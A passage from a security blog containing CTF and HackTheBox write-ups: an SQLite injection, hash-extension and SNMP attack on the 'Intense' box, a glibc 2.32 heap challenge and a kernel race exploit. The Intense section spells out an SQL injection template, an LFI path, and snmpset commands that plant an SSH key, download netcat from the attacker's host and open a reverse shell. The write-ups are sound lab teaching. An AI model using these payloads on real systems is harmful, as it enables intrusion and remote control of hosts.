scenario.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=yet_another_house_writeup_exploit.py"></script></p><p>Concluding thoughts:</p><p>While this challenge was overall pretty decent as it showed some up to date glibc tricks, I felt that some of the elements were unnecessary and added artificial difficulty. This challenge could have been just as difficult conceptually if it allowed for 2-3 more allocation spots (rather than force players who have the correct plans to rewrite their exploit several times), and combining a sigalarm with a 2 second sleep in the main menu didn't add any value. Additionally, while the custom patch made in this libc makes sense and did contribute to overall quality, I do see libc patching happening more often and hope CTF authors do not abuse it to create extremely contrived heap note problems.</p><p>Feel free to let me know if I made any mistakes in my explanations (as this problem was quite complex), congrats to Poortho for taking first blood, and thanks again to all those teammates that worked with me in DiceGang, which placed 4th overall!</p></div>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-8814147965526194982.post-77958384682565160362020-11-14T08:58:00.013-08:002020-11-14T10:15:14.263-08:00Intense HacktheBox Writeup<p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-DvCmBpM327g/X6-djbr7WCI/AAAAAAAABzQ/yTEbHSm90MYMH6Fgd1ESIq0rAa3u2C7NwCLcBGAsYHQ/s359/Capture.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="125" data-original-width="359" src="https://1.bp.blogspot.com/-DvCmBpM327g/X6-djbr7WCI/AAAAAAAABzQ/yTEbHSm90MYMH6Fgd1ESIq0rAa3u2C7NwCLcBGAsYHQ/s320/Capture.JPG" width="320" /></a></div><p></p><p>Intense was a hard box involving some web exploitation techniques such as sqlite injection and hash extension attack, snmp exploitation, as well as an easy pwnable for root. Overall, I thought <a href="https://www.hackthebox.eu/home/users/profile/19014">sokafr</a> did a great job with this box.</p><p>To begin, our initial port scan revealed the following ports from masscan:</p><p>22/tcp open ssh syn-ack ttl 63</p><p>80/tcp open http syn-ack ttl 63</p><p>161/tcp closed snmp reset ttl 63</p><p>Opening up port 80, we see the following:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Pa7G5n6ZQFY/X6-eBc60puI/AAAAAAAABzY/8wsYh71Vp8IQKVwe2qs-I1lBf58gMgfkACLcBGAsYHQ/s1385/site.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="468" data-original-width="1385" height="216" src="https://1.bp.blogspot.com/-Pa7G5n6ZQFY/X6-eBc60puI/AAAAAAAABzY/8wsYh71Vp8IQKVwe2qs-I1lBf58gMgfkACLcBGAsYHQ/w640-h216/site.JPG" width="640" /></a></div><br /><p>It provides us with guest:guest as credentials, as well as a link to the zipped source code, which we can download. Inside, you can find some templates and other misc. info, but the most important files are the 4 python files of this flask app (which uses a sqlite database): utils.py, lwt.py, app.py, and admin.py.</p><p>Some important takeaways from this include the following observations:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=web_1.py"></script></p><p>The user information from here is stored in the sqlite database, based on the data for username and secret (which is the sha256 hash of your input for password). The usage of query_db() and its behavior makes it safe from sqli at this login point.</p><p>The session is built and checked in the following manner at some of the following functions:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=web_2.py"></script></p><p>To summarize, the cookie is composed of an “auth” cookie, which is composed of 2 base64 portions separated by a period. The first portion is based on the return value of try_login(), which is a dictionary of username and secret. Using this dictionary, it formats the session as username=username;secret=hash;. Afterwards, the cookie gets a signature from the previous data by taking the digest of sha256(SECRET + data) where SECRET is a random bytestring of random length between 8 and 15; this is the second portion of the cookie. Then both the data and this signature are encoded and returned for the cookie value of “auth.” In many subsequent operations, get_session() is called, which calls parse_session(), which first verifies the contents of the data with the signature. Interestingly enough, if you find a way to bypass this verification, the way parse_session() behaves would allow you to append data to replace keys that get already set in the loop beforehand.</p><p>Becoming admin lets you interact with some interesting functionality:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=web_3.py"></script></p><p>There's a ridiculously obvious lfi here. Now, would there be any endpoints that would allow us to extract data to become admin?</p><p>Let's take a look at a feature the guest user has access to, the submitmessage() function:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=web_4.py"></script></p><p>You're restricted to a 140 byte message, and there are some blacklisted words. However, now query_db isn't even really used “correctly," as the application is just directly formatting your input in, leading to an obvious sqlite injection. One thing to note is that it doesn't really show you the result besides success or failure, so this is a clear case of a error based injection. I just used load_extension when the comparison in my error brute force is false; this would return an authorization error (plus the extension won't even exist). My teammate <a href="https://www.hackthebox.eu/profile/18907" target="_blank">Bianca</a> had another interesting way to error brute this, relying on passing bad inputs to json_extract when the comparison fails to trigger an error.</p><p>Messing around briefly in <a href="https://www.db-fiddle.com/">db-fiddle</a>, I will be basing my script off the following sqli template:</p><p>injection: ' or (select case when (select substr(username,1,1) from users limit 1 offset 0) = 'a' then 'W' else load_extension('L', 0x1) end));--</p><p>query: insert into messages values ('' or (select case when (select substr(username,1,1) from users limit 1 offset 0) = 'a' then 'W' else load_extension('L', 0x1) end));--')</p><p>I wrote the following script to retrieve the admin username and hash with a simple linear brute, as the username probably will just be admin, and the hex charset is small enough:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=secret_leaker.py"></script></p><p>I ended up recieving the following hash: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105</p><p>But it's not crackable with any wordlist or rule combination I have... this is where the way the application signs sessions and checks them comes in. Remember how it signed it with the secret in front before hashing? Under these conditions, sha256 is vulnerable to the hash extension attack. This <a href="https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks">post</a> explains this attack much better, as I just ended up relying on the <a href="https://github.com/iagox86/hash_extender" target="_blank">hash_extender</a> tool. In our case, we know the hash function, the data, as well as the original signature, so we have all the conditions ready for this attack, in which we append data to it to generate a valid signature without knowing the secret (and appending the data can make us admin since the session parser doesn't check for duplicates). As for the attack, the general gist is that if you know the state of a hash, you can create a valid hash with appended data to the input to the function by setting the hashing algorithm state back to the signature's value, so the algorithm continues to hash from there (and this will produce a valid result!).</p><p>Since the secret is a variable length, I wrote the following script to bruteforce a valid session:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=session_pwn.py"></script></p><p>Now, with a valid session, we can go to the admin functions and perform lfi.</p><p>With some requests, I also noticed the user flag (and the source code for the pwnable) in the user directory with payload ../../../../../../../../../home/user.</p><p>Recalling our earlier enumeration, I remember the snmp port. Pulling out /etc/snmp/snmpd.conf, I see the following:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=snmpd.conf"></script></p><p>Seeing the rw communitstring made me immediately think of rce over snmp, which is very well documented <a href="https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e" target="_blank">here</a>. To quote the article:</p><p>The SNMP community string is essentially a plaintext password that allows access to a device’s statistics and configuration.</p><p>Since there is a length limit to the payloads (255 chars for command) with nsExtend related operations, I ended up generating a shorter ssh key to give myself ssh access as the Debian-snmp user with the following commands:</p><p>snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/sh 'nsExtendArgs."command"' = '-c "echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC1VxdqPOpZvaJtuvtTMZJlchmQCLw8cC0tvD79eSlaL0hsS0XRFRaAKFf55UP1SarbED+teHFQUPbLa6uJlBxJQrPLQfujmo6su7P2jGPDZrwxIgKA7Om8cUvLXuNdHrTVwze68z7QBCIi6m1ofHBvZJOdWMt6O0idpybWefz7Cw== root@kaliVM > /dev/shm/w"'</p><p>snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/sh 'nsExtendArgs."command"' = '-c "cat /dev/shm/w > /var/lib/snmp/.ssh/authorized_keys"'</p><p>Remember to trigger it each time with: snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects</p><p>When you lfi the source code of the pwnable (note_server.c) earlier on, you can see that it opened its port on 5001, so we can port forward it out:</p><p>ssh -N -L 5001:127.0.0.1:5001 Debian-snmp@intense.htb -i key</p><p>However, we still need libc and the binary, and from the lfi on passwd, we know Debian-snmp shell is /bin/false. So I ended up popping a shell with the following commands so I can transfer files out (we had to use nohup to prevent snmp from hanging and then crashing, and some fiddling was required for the commands to work):</p><p>snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = 'wget http://10.10.14.9/nc -q -O /dev/shm/nc'</p><p>snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = 'chmod +x /dev/shm/nc'</p><p>snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /usr/bin/nohup 'nsExtendArgs."command"' = '/dev/shm/nc 10.10.14.9 1337 -e /bin/sh'</p><p>The following was the source:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=note_server.c"></script></p><p>This is just a variation of the previous forking stack overflow server pwns I've written extensively about in both my <a href="https://www.willsroot.io/2020/05/rope-hackthebox-writeup.html" target="_blank">Rope</a> and <a href="https://www.willsroot.io/2020/05/patents-hackthebox-writeup.html" target="_blank">Patents</a> writeup, so I'll skim through this pwn. It's another forking note app, with PIE, FULL RELRO, and canary (which is trivial to beat once you leak since it is forking).</p><p>Your options are ‘\x01’ for write, ‘\x02’ for copy, and ‘\x03’ for show. When you write data, you tell it the length, and it adds the length to an index to check if their sum is over the buffer size. If it's not, you can send in data with specified length size to the note char array starting at the current index, and it increments your index by the buffer size you requested. Do note that you can only send in a byte for the requested size.</p><p>For copy, you get 2 bytes to specify an offset, and the offset is checked to remain in the range of 0 and the current index. However, the size to be copied isn't checked, so there is a potential overflow once it copies from the note buffer at the specified offset to the note buffer at the current index. It also increases the index by the specified copy amount, so we can read out of bounds with this as well (as show doesn't check).</p><p>For show, there isn't nothing much to know except that it writes out data and returns, so the fork ends.</p><p>In my exploit, I basically first increased the index to 1024 and abused copy's lack of checks to extend the index so that the buffer printed with option 3 will leak canary, stack addresses, and pie base. Then I wrote a rop chain with proper padding and canary in front to leak libc addresses in the front of the buffer (and adjusted it to increase the index to 1024), then had it copy the length of the rop itself from offset 0 to the current index (1024), allowing for an overflow to leak libc once we trigger a return with show. Then apply the same principle to dup2 the file descriptors and pop open a shell. Here is my final script:</p><p><script src="https://gist.github.com/BitsByWill/29a824d81f6abdb4507a236dd6ae6bf3.js?file=intense_rooooooot.py"></script></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-BNd6AkZXyZ0/X6-hMYcpwpI/AAAAAAAABzk/3HM91UXnqDYCiZxceCjGkll_aT_7hflagCLcBGAsYHQ/s1183/rooooot.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="419" data-original-width="1183" height="226" src="https://1.bp.blogspot.com/-BNd6AkZXyZ0/X6-hMYcpwpI/AAAAAAAABzk/3HM91UXnqDYCiZxceCjGkll_aT_7hflagCLcBGAsYHQ/w640-h226/rooooot.JPG" width="640" /></a></div><p><br /></p><p>And that should get us root shell! Thanks once again to sokafr for the fun box, and pottm and <a href="https://twitter.com/bjornmortenmoan" target="_blank">bjornmorten</a> for giving my writeup a read through before publishing.</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-30805703966204404032020-10-04T14:37:00.024-07:002021-02-07T10:40:55.160-08:00CUCTF 2020 Dr. Xorisaurus Heap Writeup (glibc 2.32 UAF)<p>Here is my writeup for my 2.32 glibc heap challenge (Dr. Xorisaurus) from <a href="https://cuctf.io/">CUCTF 2020</a>; make sure to check out the writeup for my kernel challenge <a href="https://www.willsroot.io/2020/10/cuctf-2020-hotrod-kernel-writeup.html" target="_blank">Hotrod</a> as well!</p><p>One important concept to note about glibc 2.32 is the new mechanism of safe linking on the singly linked lists. This new protection scheme is discussed in depth <a href="https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/" target="_blank">here</a>. Basically, for singly linked freelists (fastbins and tcache bins), free chunk fds are obfsucated by the following scheme: (stored pointer) = (address of fd pointer >> 12) ^ (fd pointer). With a heap leak, this protection can be easily bypassed as heap behavior in glibc is predictable, which is what this challenge will revolve around. Bruteforcing or leaking a copy of the stored pointer and applying some basic crypto knowledge can help you recover the original data as well in some cases (especially when the chunks in the list are close together).</p><p>In this challenge, we were given a libc with debug symbols, linker, and patchelf'd binary with the following protections:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-OZpd7DCPeVg/X3jSBYIqU1I/AAAAAAAABw8/S1hseYy1AWMwpzR2bWS7Jnd5oc7exrhogCLcBGAsYHQ/s264/Capture.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="114" data-original-width="264" height="86" src="https://1.bp.blogspot.com/-OZpd7DCPeVg/X3jSBYIqU1I/AAAAAAAABw8/S1hseYy1AWMwpzR2bWS7Jnd5oc7exrhogCLcBGAsYHQ/w200-h86/Capture.JPG" width="200" /></a></div><p>Now, when reversing this binary, one should find 4 features. </p><p>You can fill a glass, examine a glass, drain a glass, and switch the contents of the glass according to the menu. There is also an initial sigalarm in the beginning, and you can only have a maximum of 25 glasses. Filling a glass is equivalent to an allocation; it finds an index in the global glasses array for you, requests for a size that is in the range of 0x60 and larger fastbin sizes, and reads in some data. Examining a glass can be useful for leakage, as it just puts() the content of the chunk out; note that examinations can only be used twice (which can be assumed to be for a libc leak and a heap leak). Draining is the equivalent of a free and it is safe as it nulls out the pointer in the global array. You can use this feature as many times as you can, but once you swap contents (feature 4), you can only free one more time. As for the swap function, you can use it to free a chunk, and then immediately reallocate based on 2 choices for sizes. After the allocation, the binary reads in 8 bytes. This where the 8 byte UAF comes in as the conditional is poorly written, so if you select an invalid choice, there will be no re-allocation and you will be reading into the freed chunk's metadata (take a look at the decompilation below). Now let's plan out our exploit:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-57ekHf_XZAQ/X3lPRmSXebI/AAAAAAAAByQ/wOcmRkvRLlAC1n9rifHC9d6BOCrwuKuTQCLcBGAsYHQ/s1084/capture7.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="680" data-original-width="1084" height="402" src="https://1.bp.blogspot.com/-57ekHf_XZAQ/X3lPRmSXebI/AAAAAAAAByQ/wOcmRkvRLlAC1n9rifHC9d6BOCrwuKuTQCLcBGAsYHQ/w640-h402/capture7.jpg" width="640" /></a></div><p>One might make the mistake of thinking of using swap to create a double free, but the 8 byte UAF won't allow you to change tcache keys so freeing that chunk again will fail a malloc() check. Some might think about filling tcache and then applying a fastbin dup attack, but the fact that you can only free one more time after swapping prevents the bypass against the fastbin double free check. </p><p>To obtain a leak, one might be tempted to just free a chunk and then reallocate it to see the obfuscated pointer (and then shift left by 12 bits to recover heap base). However, the read call during the allocation requires at least one byte (unless pty is enabled server side), so 5 nibbles of the heap address will be missing. This means there would be 1 byte of entropy on the leak, but a proof of work is required for 3 bytes of a random sha256 hash on remote, so bruteforcing isn't as feasible.</p><p>A better way to obtain a leak is to abuse the behavior of scanf. When scanf reads in large payloads of characters that follow it's format specifier, scanf will begin to allocate from the heap. For example, if we send in 0x500 '1's, scanf will make a largebin allocation request from the heap. As one familiar with the heap might know, triggering largebin sized allocations will lead to malloc_consolidate() (<a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L3713" target="_blank">source</a>), which will go through the freed fastbins and consolidate them to unsorted (<a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L4464" target="_blank">source</a>). This malloc_consolidate() is the basis for another type of attack known as fastbin consolidation, which is discussed <a href="http://tukan.farm/2016/09/04/fastbin-fever/" target="_blank">here</a> in better depth. After malloc_consolidate(), the request for the large allocation will then cause the chunk in unsorted to be sorted into largebin. On the next request, one can use it to request a heap leak. The chunk will then be sorted into unsorted, from which we can easily grab a heap leak (feel free to debug this out when I attach my exploit later on if this seems confusing). This method of leaking really only came up after my teammate c3bacd17 found an unintentional bypass in one of my other challenges.</p><p>Once we have the leak, some basic math will allow you to abuse the 8 byte UAF to maliciously corrupt the obfuscated pointer. Note that 2.32 malloc()'s safe linking mechanism also ensures that the deobfuscated pointer is aligned. Because of this and the fastbin size check, we can no longer do the unaligned trick here for fastbin dup. We will have to rely on tcache poisoning here, and an evil obfsucated pointer can be created by xoring the address location of the fd right shifted by 12 bits with the target location.</p><p>I ended up targeting __free_hook and changed it to system, then "freed" a chunk with the string "/bin/sh" on it to pop a shell. As for the proof of work on remote, it can easily be handled by the <a href="https://github.com/kmyk/libproofofwork" target="_blank">proofofwork</a> python library that automatically generates a proof.</p><p>The following is my final exploit with comments:</p><div><script src="https://gist.github.com/BitsByWill/be239d42657bb04ae5e6bd092aa2d6fc.js"></script><br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ljDolOQxItM/X3lqOiEpnKI/AAAAAAAAByc/ngzDV5lVj_UMJOIRpT-eT-s0_oytn15nwCLcBGAsYHQ/s1047/capture8.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="189" data-original-width="1047" height="116" src="https://1.bp.blogspot.com/-ljDolOQxItM/X3lqOiEpnKI/AAAAAAAAByc/ngzDV5lVj_UMJOIRpT-eT-s0_oytn15nwCLcBGAsYHQ/w640-h116/capture8.JPG" width="640" /></a></div>Hope everyone enjoyed this challenge and writeup! Feel free to let me know if anything needs to be clarified or if anything explained is incorrect. Congrats to lms of Dakota State for blooding this challenge as well!<div><br /></div><div>For those interested in trying this challenge out, it is archived in the <a href="https://github.com/CUCyber/cuctf-2020-challenges/tree/main/binary-exploitation/dr_xorisaurus">CUCTF repos</a>.</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-42553638339295206802020-10-04T14:37:00.023-07:002021-02-07T10:40:37.660-08:00CUCTF 2020 Hotrod Kernel Writeup (Userfaultfd Race + Kernel UAF + Timerfd_Ctx Overwrite)<p>Recently, I made some pwn challenges for my teammate <a href="https://github.com/nbulischeck">Chirality</a>, who helped organize <a href="https://cuctf.io/">CUCTF 2020</a>; Dr. Xorisaurus (glibc 2.32 heap) and Hotrod (kernel heap and race). I thought it would be nice to share my writeups for each. You should also check out Chirality's kernel heap challenge for CUCTF, called BYOD.</p><p>Before I start, I would like to acknowledge and give appropriate credit to all the links (posted throughout this article) I studied off of to make both this challenge and my exploit possible.</p><p>If you have done plenty of glibc heap exploitation before, there is one important idea you should note about kernel heap exploitation. Rather than relying completely on kernel heap feng shui (even though the allocators are much simpler in kernel), it's oftentimes better to utilize certain structures with function pointers for leaks and RIP control. The basis of this challenge is to use a race condition to create a UAF scenario, from which you can hijack timerfd_ctx structures to take control of RIP.</p><p>Opening this challenge up, it looks like a standard kernel pwn setup. A file system, bzImage, and a qemu launch script is given. The following two commands will be very handy for manipulating the file system for debugging/analysis purposes:</p><p><script src="https://gist.github.com/BitsByWill/1953c03f1bb6c2aaa032a3e3f043cc42.js?file=hotrod_useful_commands"></script>The qemu launch script is the following:</p><p><script src="https://gist.github.com/BitsByWill/1953c03f1bb6c2aaa032a3e3f043cc42.js?file=hotrod_run_challenge.sh"></script>This tells us that SMEP, KPTI, and KASLR is enabled, but there is no SMAP (which simplifies this a lot).</p><p>We can also use <a href="https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux">vmlinux-extract</a> to help extract the kernel from its compressed file. The driver itself is hotrod.ko based on the startup script (and the name of the challenge). Now, let's do a quick analysis of the driver.</p><p>Like many other standard CTF kernel challenges, a miscdevice is created during initialization and a mutex is also initialized. The device also has a file_operations struct where only the unlocked_ioctl field is populated. Looking through hotrod_ioctl, one can also infer that there is a global struct storing both the size as an unsigned long and a pointer to an allocated chunk located at 0x7e0 relative to module base. This function also has an add, show, delete, and edit function, all of which can only be used once (and you only get one hotrod total). Alloc occurs when the ioctl argument is 0xBAADC0DE.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-iFMhNn6ynrw/X3j-aCBK3dI/AAAAAAAABxg/a9qlmBOd2AQsTuJxRQk3lUbPyjX4a5VpgCLcBGAsYHQ/s976/capture3.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="976" height="158" src="https://1.bp.blogspot.com/-iFMhNn6ynrw/X3j-aCBK3dI/AAAAAAAABxg/a9qlmBOd2AQsTuJxRQk3lUbPyjX4a5VpgCLcBGAsYHQ/w640-h158/capture3.JPG" width="640" /></a></div><p>It checks if you have already attempted an allocation and if the hotrod has already been populated. If not, it will allocate a chunk for the hotrod and sets its size to the argument passed in (the size must fall within the 0xd0 to 0xe0 range). There doesn't seem to be a bug here. Delete occurs when the ioctl argument is 0xC001C0DE.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-QZvKIISC5so/X3kA2Her_qI/AAAAAAAABxs/tZvnZ8J2ywEmtYpIn_ohZ5IeolNuSHj-wCLcBGAsYHQ/s638/capture4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="242" data-original-width="638" height="242" src="https://1.bp.blogspot.com/-QZvKIISC5so/X3kA2Her_qI/AAAAAAAABxs/tZvnZ8J2ywEmtYpIn_ohZ5IeolNuSHj-wCLcBGAsYHQ/w640-h242/capture4.JPG" width="640" /></a></div><p>Again, proper checks are ensured, and the hotrod is zeroed out. This feature can also only be used once. Viewing occurs with ioctl command 0x1337C0DE.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Ct1GCY20TPU/X3kCQ0RW_VI/AAAAAAAABx4/L9ICiVK4wJQPnrMgerksuVOc9ILvtbXiACLcBGAsYHQ/s614/capture5.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="366" data-original-width="614" height="382" src="https://1.bp.blogspot.com/-Ct1GCY20TPU/X3kCQ0RW_VI/AAAAAAAABx4/L9ICiVK4wJQPnrMgerksuVOc9ILvtbXiACLcBGAsYHQ/w640-h382/capture5.JPG" width="640" /></a></div><p>Again, it seems quite safe. We can use this for a leak after we allocate and free certain kernel structures though since kmalloc() doesn't zero out memory. Lastly, edit occurs with argument 0xDEADC0DE.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-hLzsoki8xZQ/X3kDjsJ9pfI/AAAAAAAAByE/cKDzk7pqEaA4RFlV1KBedhSvKsMBTJLwwCLcBGAsYHQ/s837/capture6.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="649" data-original-width="837" height="496" src="https://1.bp.blogspot.com/-hLzsoki8xZQ/X3kDjsJ9pfI/AAAAAAAAByE/cKDzk7pqEaA4RFlV1KBedhSvKsMBTJLwwCLcBGAsYHQ/w640-h496/capture6.JPG" width="640" /></a></div><br /><p>Again, it seems pretty safe. Like the viewing function, the argument is interpreted as like a hotrod struct as well. The sizes for editing (as well for viewing earlier on) are both checked (so no going out of bounds or overflows). In edit's case, if the size check is satisfactory, it will proceed to copy the user's data to the kernel hotrod's car. </p><p>Overall, this module looks quite safe. Where exactly could the bug be? Well, in this ioctl handler, the mutexes were never used, opening this up to race conditions.</p><p>Due to the checks on sizes and restriction to only use each feature once, a good race strategy would be to launch edit in one thread, and in another thread, quickly free the chunk and allocate another kernel structure in a way where the second copy_from_user() happens such that the chunk is already freed but the pointer to the chunk is also already passed to the function. A great way to reliably race is with the userfaultfd syscall. With userfaultfd, we can set up a page fault handler over a certain page we mmap in userspace; even when a pagefault occurs for the kernel accessing it, our handler will run, from which we can hang the kernel thread, run the code meant for the race, and then unblock it with a UFFDIO_COPY ioctl where <span style="white-space: pre-wrap;">uffdio_copy.mode is not set. This is actually an extremely common technique to reliably race in the kernel, with several articles and CTF challenges including this concept (such as the famous Balsn CTF KrazyNote challenge):</span></p><p><span style="white-space: pre-wrap;"><a href="https://blog.lizzie.io/using-userfaultfd.html">https://blog.lizzie.io/using-userfaultfd.html</a></span></p><p><a href="https://bbs.pediy.com/thread-217540.htm">https://bbs.pediy.com/thread-217540.htm</a></p><p><a href="https://duasynt.com/blog/linux-kernel-heap-spray">https://duasynt.com/blog/linux-kernel-heap-spray</a></p><div><a href="https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html">https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html</a></div><div><br /></div><div><a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c">https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c</a></div><div><br /></div><div><a href="https://smallkirby.hatenablog.com/entry/2020/08/09/085028">https://smallkirby.hatenablog.com/entry/2020/08/09/085028</a></div><p><span style="white-space: pre-wrap;">There does seem to a recent hardening against this method of attack as mentioned <a href="https://lwn.net/Articles/819834/">here</a>, but is not set by default for compatibility reasons.</span></p><p><span style="white-space: pre-wrap;">From our exploit's perspective, we can have one thread call edit and have it copy over a user hotrod struct where the data, or "car," pointer points to a page where we setup a userfaultfd handler for. Then during edit's second copy_from_user(), it will pagefault when it attempts to copy based on our pointer, and our handler will take over from there, from which we can free and allocate other kernel structures over the same region. Then, you can unblock the thread by copying over the data we want placed there. Personally, I kept all the original data with the copy (to avoid corrupting the kernel structure) except for one of the function pointers, which I change to a stack pivot. Now, after the unblock, the code resumes and everything goes back to "normal," until the overwritten function pointer is triggered.</span></p><p><span style="white-space: pre-wrap;">Due to our structure size, many of the common structures can't be used. However, <a href="https://elixir.bootlin.com/linux/v5.8.3/source/fs/timerfd.c#L31" target="_blank">timerfd_ctx</a> can be quite a useful struct; we can allocate it with a timerfd_create() with the CLOCK_REALTIME option (other options will also work) and a timerfd_settime() call. Using this structure, we can both get a <a href="https://elixir.bootlin.com/linux/v5.8.3/source/include/linux/hrtimer.h#L117" target="_blank">leak and control RIP</a> via the location that stores the function pointer to <a href="https://elixir.bootlin.com/linux/v5.8.3/source/fs/timerfd.c#L196" target="_blank">timerfd_tmrproc()</a>. The function pointer executes after a certain time period which you can control in the itimerspec struct. This structure has been documented before in both ptr-yudai's <a href="https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628">article about useful kernel structures</a>, this <a href="http://www.personal.psu.edu/yxc431/publications/SLAKE.pdf">paper</a> about exploitable structures, and <a href="https://rpis.ec/blog/tokyowesterns-2019-gnote/">GNote</a> from TokyoWesterns 2019. Note that for me, any subsequent sleep calls with the corrupted structure would fail, so I hung the thread to wait for the function pointer to trigger with a getchar().</span></p><p><span style="white-space: pre-wrap;">To grab a leak, I had to spray these structs in the same kmalloc slabs. Then, I freed the last sprayed chunk and immediately made hotrod allocate data there for us to grab the leak reliably. </span><span style="white-space: pre-wrap;">With the KASLR leak, we can rebase the entire kernel relative to startup_64 symbol in kallsyms and then use the aforementioned race to change the function pointer to a stack pivot gadget; we can pivot it to a userspace stack as there is no SMAP. Note that you need to specify a valid range for ropper/ROPGadget to search for gadgets; otherwise, it'll find gadgets that aren't in executable sections in the kernel. Take a look at the example below:</span></p><script src="https://gist.github.com/BitsByWill/1953c03f1bb6c2aaa032a3e3f043cc42.js?file=example_ropfinding_kernel"></script><p><span style="white-space: pre-wrap;">Since there is KPTI and SMEP, the traditional SMEP bypass of changing the CR4 register won't work; <a href="https://www.kernel.org/doc/html/latest/x86/pti.html">KPTI</a> fully isolates user page tables from kernel page tables by managing the two sets via the 12th bit of the CR3 register (the userspace portion of kernel page tables is set to NX, and the only additional information given to userspace page tables is the information necessary to enter and exit the kernel). Instead, it is better to rely on a </span><a href="https://elixir.bootlin.com/linux/v5.8.3/source/arch/x86/entry/entry_64.S#L501" style="white-space: pre-wrap;" target="_blank">kpti trampoline</a> and have it fix the CR3 for us so we can go back (swapgs_restore_regs_and_return_to_usermode); these functionalities exist in the kernel because it needs to handle this for routines like syscalls<span style="white-space: pre-wrap;">. I usually add +0x16 to where this is located, just so I can skip all the initial pops and start right at movq %rsp, %rdi. Using this trampoline combined with a commit_creds(init_cred) to change my uid to 0 beforehand, I can then choose whichever function to return to in my userspace code with root privileges. Of course, I needed to specify the cs, ss, r_flags, and stack (specifically, at that location, it expects RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS) for the trampoline to return to as well; I just used the values I saved beforehand in the userspace process.</span></p><p><span style="white-space: pre-wrap;">In my case, I was not able to execve or perform many other functions without causing a kernel panic, so I ended up doing open read write in my function. I also had to just halt the OS; otherwise, the kernel panics on the return, hangs, and then somehow spikes my CPU usage to 100%. I'm not too sure why that happened, so if you know why, please let me know. </span></p><p>Below is my exploit with comments and linked resources:</p><script src="https://gist.github.com/BitsByWill/1953c03f1bb6c2aaa032a3e3f043cc42.js?file=exploit.c"></script><p><br /></p><p>To transfer the exploit to the remote instance, I just compiled it statically with gcc, gzip'd it, and then transfered with base64 encoding and cat > exploit << EOF. It was still relatively large and took about 7 minutes to transfer, but if one really was working under time constraints, compiling with a more minimalistic library like musl or uclibc could help. Here's the final result:</p><div class="separator" style="clear: both; text-align: center;"><a 